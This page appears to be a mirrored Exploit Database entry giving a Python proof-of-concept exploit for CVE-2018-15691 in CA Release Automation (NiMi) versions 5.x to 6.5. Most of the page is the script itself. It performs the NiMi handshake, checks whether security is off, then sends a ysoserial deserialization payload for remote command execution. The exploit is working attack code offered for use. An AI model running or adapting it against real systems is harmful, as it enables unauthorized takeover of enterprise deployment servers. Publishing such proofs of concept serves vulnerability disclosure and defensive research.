CA Release Automation NiMi 6.5 – Remote Command Execution

• Exploit Database
• 11 阅读

• 作者： Jakub Palaczynski
  日期： 2018-09-17
• 类别：

  • remote
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/45425/

• # Exploit Title: CA Release Automation NiMi 6.5 - Remote Command Execution
  # Date: 2016-06-23
  # Exploit Authors: Jakub Palaczynski, Maciej Grabiec
  # Vendor Homepage: http://www.ca.com/
  # Software Link: https://docops.ca.com/ca-release-automation/5-5-2/en/installation/deploy-agents/
  # Version: CA Release Automation (NiMi) 5.X, 6.3, 6.4, 6.5
  # CVE: CVE-2018-15691
  # Info: CA Release Automation (NiMi) Remote Command Execution via Deserialization
  # Info: Payloads generated using CommonsCollections1 from ysoserial work correctly.
  # Info: Proof of Concept exploits NiMi service if security is turned off.
  
  #!/usr/bin/python
  
  import socket
  import sys
  import struct
  
  if len(sys.argv) < 4:
  sys.stderr.write("[-]Usage: python %s <ip> <port> <payload_file> <target_nodeid - not mandatory>\n" % sys.argv[0])
  sys.stderr.write("[-]Exemple: python %s 10.0.0.1 6600 /tmp/payload.bin\n" % sys.argv[0])
  exit(1)
   
  host = sys.argv[1]
  port = sys.argv[2]
  file = sys.argv[3]
  
  # check if payload does not exceed specified value
  payloadObj = open(file,'rb').read()
  if len(payloadObj) > 5729:
  print 'Payload must be less than 5730 bytes. Try another one.'
  exit(1)
  
  # open socket to nimi port
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  print 'Connecting to node.'
  sock.connect((host, int(port)))
  
  # say hello to nimi
  sock.recv(256)
  sock.send('\x00\x00\x00\x0c\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x72\x02\x08\x00') # first required message
  
  # get Node ID
  data = sock.recv(256)
  name = data[5] + data[6:6+ord(data[5])]
  if len(sys.argv) == 5:
  name = struct.pack(">B", len(sys.argv[4])) + sys.argv[4]
  
  # check if security is enabled
  sock.send('\x00\x00\x00\x1a\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x7a\x10\x0a\x0c\x0a\x07\x30\x2e\x30\x2e\x30\x2e\x30\x10\x94\x3c\x10\x00') # second required message
  check = sock.recv(256)
  if check == "":
  print 'Security is enabled. Sorry.'
  exit(1)
  
  # send payload
  print 'Sending payload.'
  header = '\x0a\x04\x6e\x6f\x64\x65\x10\x01\x1a' + name + '\x2a\xe4\x2c\x0a\xe1\x2c'
  stage = header + payloadObj + '\x90' * (5729-len(payloadObj))
  payload = struct.pack(">I", len(stage)) + stage
  
  sock.sendall(payload)
  sock.close()